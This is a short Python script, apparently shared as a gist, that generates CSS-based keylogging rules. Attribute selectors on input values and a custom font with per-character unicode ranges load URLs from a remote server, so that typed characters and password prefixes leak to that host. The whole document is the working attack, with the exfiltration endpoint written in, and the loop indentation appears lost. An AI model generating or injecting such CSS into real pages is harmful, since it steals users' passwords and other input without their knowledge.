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Generate special CSS, witch sends user input to the remote server
#!/usr/bin/env python
#
# Generates:
# 1. input[value^="XXX"] rules
# 2. custom font "spyFont"
#
# See php examples at - https://github.com/Bogdaan/spycss
# Author Novikov Bogdan <hcbogdan@gmail.com>
import itertools
from string import Template
backendUrl = 'https://spycss.hcbogdan.com'
# alphabet for static <input value="XXX" />
staticAlphabet = ["a","b","c","d","e","f","g","h","i","j","k","l","m","n","o","p","q","r","s","t","u","v","w","x","y","z","0","1","2","3","4","5","6","7","8","9"]
# Static word length
staticCombinations = 2
staticTemplate = Template('input[value^="$password"]{background:url("$backend/start/$password");}').safe_substitute(backend = backendUrl)
# generate static rules
for subset in itertools.combinations(staticAlphabet, staticCombinations):
print(Template(staticTemplate).substitute(password = ''.join(subset)))
# alphabet for custom font
fontAlphabet = staticAlphabet
# css font name
fontName = 'spyFont'
# font styles
fontTemplate = Template('@font-face {font-family:$fontName; src:url($backend/key/$char), local(Impact); unicode-range: $codepoint;}').safe_substitute(backend = backendUrl, fontName = fontName)
# generate unicode-range rules
for char in fontAlphabet:
codepoint = ('U+%04x' % ord(char))
print(Template(fontTemplate).substitute(char = char, codepoint = codepoint))
print(Template('input {font-family:$fontName, sans-serif;}').safe_substitute(fontName = fontName))
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